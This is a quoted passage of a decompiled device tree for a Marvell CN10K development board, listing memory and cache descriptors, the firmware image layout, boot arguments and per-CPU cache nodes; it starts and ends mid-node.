> nonvol-size = <0x0>;
> log-sizes = <0x4 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR1";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x4000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0xf186>;
> size = <0x4000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x4 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x48>;
> };
>
> type7@1 {
> cache-type = <0x4>;
> socket = "Internal L1D Cache";
> ecorr-type = <0x5>;
> supported-sram = <0x28>;
> installed-size = <0x40>;
> cache-config = <0x180>;
> maxsize = <0x40>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x5>;
> };
>
> type32 {
> boot-status = <0x0>;
> };
>
> type0 {
> bios-chars-ext1 = <0x1>;
> bios-chars = <0x10880 0x0>;
> #bios-char-cells = <0x2>;
> bios-chars-ext2 = <0x8>;
> };
>
> type17@2 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
> nonvol-size = <0x0>;
> log-sizes = <0x4 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR2";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x4000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0xf186>;
> size = <0x4000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x4 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x48>;
> };
>
> type3 {
> manufacturer = "Marvell";
> type = <0x17>;
> };
>
> type7@2 {
> cache-type = <0x5>;
> socket = "Internal L2 Unified Cache";
> ecorr-type = <0x5>;
> supported-sram = <0x28>;
> installed-size = <0x400>;
> cache-config = <0x181>;
> maxsize = <0x400>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x7>;
> };
>
> type4@0 {
> curspeed = <0x9c4>;
> socket = "DPU";
> external-clock = <0x0>;
> maxspeed = <0x9c4>;
> processor-upgrade = <0x6>;
> serial-number = "Unknown ";
> processor-family2 = <0x101>;
> core-count = <0x18>;
> part-number = "Unknown ";
> core-enabled = <0x18>;
> processor-id = <0x0>;
> cpu-status = <0x41>;
> thread-count = <0x18>;
> processor-manufacturer = "Marvell";
> asset-tag = "Unknown ";
> processor-characteristics = <0xdc>;
> processor-version = "A0";
> voltage = <0x88>;
> processor-type = <0x3>;
> processor-family = <0xfe>;
> };
>
> type17@0 {
> cache-sizes = <0xffffffff 0xffffffff>;
> array-handle = <0x600>;
> module-product-id = <0x0>;
> #log-size-cells = <0x2>;
> nonvol-size = <0x0>;
> log-sizes = <0x2 0x0>;
> manufacturer = "Unknown Manufacturer ";
> minimum_voltage = <0x44c>;
> serial-number = "Unknown Serial ";
> speed = <0x12c0>;
> maximum_voltage = <0x44c>;
> configured_voltage = <0x44c>;
> form-factor = <0xd>;
> device-loc = "DDR0";
> mem-type = <0x22>;
> device-set = <0x0>;
> ext-size = <0x2000>;
> part-number = "Unknown Part ";
> module-manufacturer-id = <0x0>;
> size = <0x2000>;
> #cache-size-cells = <0x2>;
> errinfo-handle = <0xfffe>;
> vol-sizes = <0x2 0x0>;
> configured-memory-speed = <0xc80>;
> data-width = <0x40>;
> #vol-size-cells = <0x2>;
> attributes = <0x1>;
> total-width = <0x50>;
> };
>
> type1 {
> manufacturer = "Marvell";
> wakeup-type = <0x6>;
> prod-name = "CN10K";
> };
>
> type7@0 {
> cache-type = <0x3>;
> socket = "Internal L1I Cache";
> ecorr-type = <0x4>;
> supported-sram = <0x28>;
> installed-size = <0x40>;
> cache-config = <0x180>;
> maxsize = <0x40>;
> cache-speed = <0x0>;
> current-sram = <0x28>;
> associativity = <0x5>;
> };
> };
>
> vqmmc_supply_1v8 {
> regulator-max-microvolt = <0x1b7740>;
> enable-active-high;
> regulator-min-microvolt = <0x1b7740>;
> regulator-name = "vqmmc_supply_1v8";
> startup-delay-us = <0xa>;
> compatible = "regulator-fixed";
> phandle = <0x3b>;
> };
>
> l3-cache {
> cache-size = <0x3000000>;
> cache-level = <0x3>;
> cache-sets = <0x6000>;
> cache-unified;
> compatible = "cache";
> ranges;
> cache-line-size = <0x80>;
> phandle = <0x1c>;
> numa-node-id = <0x0>;
>
> msc@0x87E053001000 {
> compatible = "arm,mpam-msc";
> reg = <0x87e0 0x53001000 0x0 0x2000>;
> };
> };
>
> spe-pmu {
> interrupts = <0x1 0x8 0x4>;
> compatible = "arm,statistical-profiling-extension-v1";
> };
>
> octeontx_brd {
> RESET-COUNT-ECP-WDOG = [30 00];
> BOARD-MAC-ADDRESS-ID-NUM = [30 00];
> DDR-DMC-MASK = "0x3f";
> BOARD-MAC-ADDRESS-NUM = [35 00];
> RESET-COUNT-WARM = [30 00];
> RESET-COUNT-SCP-WDOG = [30 00];
> BOARD-MODEL = "crb106-pcie";
> DDR-SPEED = "3200";
> BOARD-REVISION = "r1p1";
> RESET-COUNT-MCP-WDOG = [30 00];
> RESET-COUNT-COLD = [30 00];
> SWITCH-RESET = [31 00];
> BOARD-MAC-ADDRESS = "0xfb7067802";
> BOARD-SERIAL = "WA-CN106-A1-PCIE-2P100-R2-142";
> RESET-COUNT-CORE-WDOG = [30 00];
>
> firmware-layout {
> #address-cells = <0x1>;
> #size-cells = <0x1>;
>
> bl2.bin@4c0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x14>;
> description = "bl2.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x4c0000 0x80000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> ecp_bl1.bin@d0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x9>;
> description = "ecp_bl1.bin";
> time = <0x16220000>;
> type = "firmware";
> date = <0x7e8061a>;
> arch = "mips";
> revision = <0xc180700>;
> reg = <0xd0000 0x30000>;
> version = "0C.18.07 20240626-2234 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> gserp-cn10xx.fw@490000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "gserp-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0x490000 0x30000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> mcp_bl1.bin@a0000 {
> customer-version = <0x0>;
> tim-file-handle = <0xd>;
> description = "mcp_bl1.bin";
> time = <0x50e0000>;
> type = "firmware";
> date = <0x7e8081c>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0xa0000 0x30000>;
> version = "0C.18.09 20240828-0514 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> switch_fw_ap.fw@a60000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "switch_fw_ap.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0xa60000 0x80000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> rom-script0.fw@20000 {
> customer-version = <0x0>;
> tim-file-handle = <0x4>;
> description = "rom-script0.fw";
> time = <0xa250000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0x20000 0x20000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> u-boot-nodtb.bin@660000 {
> customer-version = <0x0>;
> tim-file-handle = <0x40>;
> description = "u-boot-nodtb.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x660000 0x150000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> scp_bl1.bin@40000 {
> customer-version = <0x0>;
> tim-file-handle = <0x3>;
> description = "scp_bl1.bin";
> time = <0x10080000>;
> type = "firmware";
> date = <0x7e8081c>;
> arch = "mips";
> revision = <0xc180900>;
> reg = <0x40000 0x60000>;
> version = "0C.18.09 20240828-1608 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> npc_mkex-cn10xx.fw@7b0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "npc_mkex-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1100000>;
> reg = <0x7b0000 0x2b0000>;
> version = "01.10.00 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> gserm-cn10xx.fw@460000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "gserm-cn10xx.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010e00>;
> reg = <0x460000 0x30000>;
> version = "01.01.0E 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> bl31.bin@540000 {
> customer-version = <0x0>;
> tim-file-handle = <0x17>;
> description = "bl31.bin";
> time = <0xa290000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x540000 0x120000>;
> version = "0C.18.09 20240918-1041 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> tim0@10000 {
> customer-version = <0x0>;
> tim-file-handle = <0x1>;
> description = "tim0";
> time = <0xa250000>;
> root-tim-load = "scp";
> root-tim-object = "scp_bl1.bin";
> type = "firmware";
> date = <0x7e80912>;
> revision = <0xc180900>;
> reg = <0x10000 0x10000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> init.bin@100000 {
> customer-version = <0x0>;
> tim-file-handle = <0x11>;
> description = "init.bin";
> time = <0xa250000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "arm64";
> revision = <0xc180900>;
> reg = <0x100000 0x360000>;
> version = "0C.18.09 20240918-1037 00000000";
> compression = "none";
> flags = <0x0>;
> };
>
> switch_fw_super.fw@ae0000 {
> customer-version = <0x0>;
> tim-file-handle = <0x100>;
> description = "switch_fw_super.fw";
> time = <0x61a0000>;
> type = "firmware";
> date = <0x7e80912>;
> arch = "custom";
> revision = <0x1010d00>;
> reg = <0xae0000 0x200000>;
> version = "01.01.0D 20240918-0626 00000000";
> compression = "none";
> flags = <0x0>;
> };
> };
> };
>
> timer {
> #address-cells = <0x2>;
> interrupts = <0x1 0xd 0x4 0x1 0xe 0x4 0x1 0xb 0x4 0x1 0xa 0x4>;
> #size-cells = <0x2>;
> compatible = "marvell,octeontx2-timer", "arm,armv8-timer";
> reg = <0x8020 0x0 0x0 0xf000000>;
> };
>
> aliases {
> i2c3 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,3";
> serial7 = "/soc@0/serial@87e02f000000";
> i2c1 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,1";
> spi0 = "/soc@0/spi@804000000000";
> serial5 = "/soc@0/serial@87e02d000000";
> serial3 = "/soc@0/serial@87e02b000000";
> serial1 = "/soc@0/serial@87e029000000";
> i2c2 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,2";
> spi1 = "/soc@0/spi@805000000000";
> serial6 = "/soc@0/serial@87e02e000000";
> i2c0 = "/soc@0/pci@878000000000/mrml-bridge0@1,0/i2c@24,0";
> serial4 = "/soc@0/serial@87e02c000000";
> phandle = <0x13d>;
> serial2 = "/soc@0/serial@87e02a000000";
> serial0 = "/soc@0/serial@87e028000000";
> };
>
> firmware {
>
> optee {
> method = "smc";
> compatible = "linaro,optee-tz";
> status = "okay";
> };
>
> sdei {
> method = "smc";
> compatible = "arm,sdei-1.0";
> };
>
> scmi {
> shmem = <0xf2>;
> #address-cells = <0x1>;
> #size-cells = <0x0>;
> compatible = "arm,scmi";
> mboxes = <0xf1 0x0>;
> mbox-names = "scp_ap";
>
> protocol@15 {
> #thermal-sensor-cells = <0x1>;
> reg = <0x15>;
> phandle = <0x13c>;
> };
>
> protocol@13 {
> #clock-cells = <0x1>;
> reg = <0x13>;
> phandle = <0x1b>;
> };
>
> protocol@14 {
> #clock-cells = <0x1>;
> reg = <0x14>;
> phandle = <0x13b>;
> };
> };
> };
>
> chosen {
> u-boot,version = "2023.01-12.24.09";
> bootargs = "console=ttyAMA0,115200n8 earlycon=pl011,0x87e028000000 debug maxcpus=4 rootwait rw rw root=/dev/nfs nfsroot=10.29.36.51:/nfsshare/ubuntu-rootfs,v3,tcp ;
> stdout-path = "/soc@0/serial@87e028000000";
> };
>
> pmu {
> interrupts = <0x1 0x7 0x4>;
> compatible = "arm,armv8-pmuv3";
> };
>
> cpus {
> #address-cells = <0x2>;
> #size-cells = <0x0>;
>
> cpu@140000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x14>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x30>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x140000>;
> enable-method = "psci";
> phandle = <0x16>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x30>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@30000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x3>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1f>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x30000>;
> enable-method = "psci";
> phandle = <0x5>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1f>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@70000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x7>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x23>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x70000>;
> enable-method = "psci";
> phandle = <0x9>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x23>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@C0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xc>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x28>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xc0000>;
> enable-method = "psci";
> phandle = <0xe>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x28>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@110000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x11>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2d>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x110000>;
> enable-method = "psci";
> phandle = <0x13>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2d>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@150000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x15>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x31>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x150000>;
> enable-method = "psci";
> phandle = <0x17>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x31>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@40000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x4>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x20>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x40000>;
> enable-method = "psci";
> phandle = <0x6>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x20>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@80000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x8>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x24>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x80000>;
> enable-method = "psci";
> phandle = <0xa>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x24>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu-map {
>
> cluster0 {
>
> core9 {
> cpu = <0xb>;
> };
>
> core21 {
> cpu = <0x17>;
> };
>
> core11 {
> cpu = <0xd>;
> };
>
> core7 {
> cpu = <0x9>;
> };
>
> core5 {
> cpu = <0x7>;
> };
>
> core18 {
> cpu = <0x14>;
> };
>
> core3 {
> cpu = <0x5>;
> };
>
> core16 {
> cpu = <0x12>;
> };
>
> core1 {
> cpu = <0x3>;
> };
>
> core14 {
> cpu = <0x10>;
> };
>
> core22 {
> cpu = <0x18>;
> };
>
> core12 {
> cpu = <0xe>;
> };
>
> core8 {
> cpu = <0xa>;
> };
>
> core20 {
> cpu = <0x16>;
> };
>
> core10 {
> cpu = <0xc>;
> };
>
> core6 {
> cpu = <0x8>;
> };
>
> core19 {
> cpu = <0x15>;
> };
>
> core4 {
> cpu = <0x6>;
> };
>
> core17 {
> cpu = <0x13>;
> };
>
> core2 {
> cpu = <0x4>;
> };
>
> core15 {
> cpu = <0x11>;
> };
>
> core23 {
> cpu = <0x19>;
> };
>
> core0 {
> cpu = <0x2>;
> };
>
> core13 {
> cpu = <0xf>;
> };
> };
> };
>
> cpu@D0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xd>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x29>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xd0000>;
> enable-method = "psci";
> phandle = <0xf>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x29>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@120000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x12>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2e>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x120000>;
> enable-method = "psci";
> phandle = <0x14>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2e>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@160000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x16>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x32>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x160000>;
> enable-method = "psci";
> phandle = <0x18>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x32>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@10000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x1>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1d>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x10000>;
> enable-method = "psci";
> phandle = <0x3>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1d>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@50000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x5>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x21>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x50000>;
> enable-method = "psci";
> phandle = <0x7>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x21>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@0 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x0>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1a>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x0>;
> enable-method = "psci";
> phandle = <0x2>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1a>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@90000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x9>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x25>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x90000>;
> enable-method = "psci";
> phandle = <0xb>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x25>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@A0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xa>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x26>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xa0000>;
> enable-method = "psci";
> phandle = <0xc>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x26>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@E0000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0xe>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2a>;
> i-cache-size = <0x10000>;
> reg = <0x0 0xe0000>;
> enable-method = "psci";
> phandle = <0x10>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2a>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@130000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x13>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x2f>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x130000>;
> enable-method = "psci";
> phandle = <0x15>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x2f>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@170000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x17>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x33>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x170000>;
> enable-method = "psci";
> phandle = <0x19>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x33>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@20000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x2>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x1e>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x20000>;
> enable-method = "psci";
> phandle = <0x4>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
> cache-level = <0x2>;
> cache-sets = <0x800>;
> cache-unified;
> compatible = "cache";
> cache-line-size = <0x40>;
> next-level-cache = <0x1c>;
> phandle = <0x1e>;
> numa-node-id = <0x0>;
> };
> };
>
> cpu@60000 {
> d-cache-line-size = <0x40>;
> clocks = <0x1b 0x6>;
> i-cache-line-size = <0x40>;
> device_type = "cpu";
> compatible = "marvell,cn10670-cpu", "arm,armv8";
> d-cache-size = <0x10000>;
> next-level-cache = <0x22>;
> i-cache-size = <0x10000>;
> reg = <0x0 0x60000>;
> enable-method = "psci";
> phandle = <0x8>;
> d-cache-sets = <0x100>;
> i-cache-sets = <0x100>;
> numa-node-id = <0x0>;
>
> l2-cache {
> cache-size = <0x100000>;
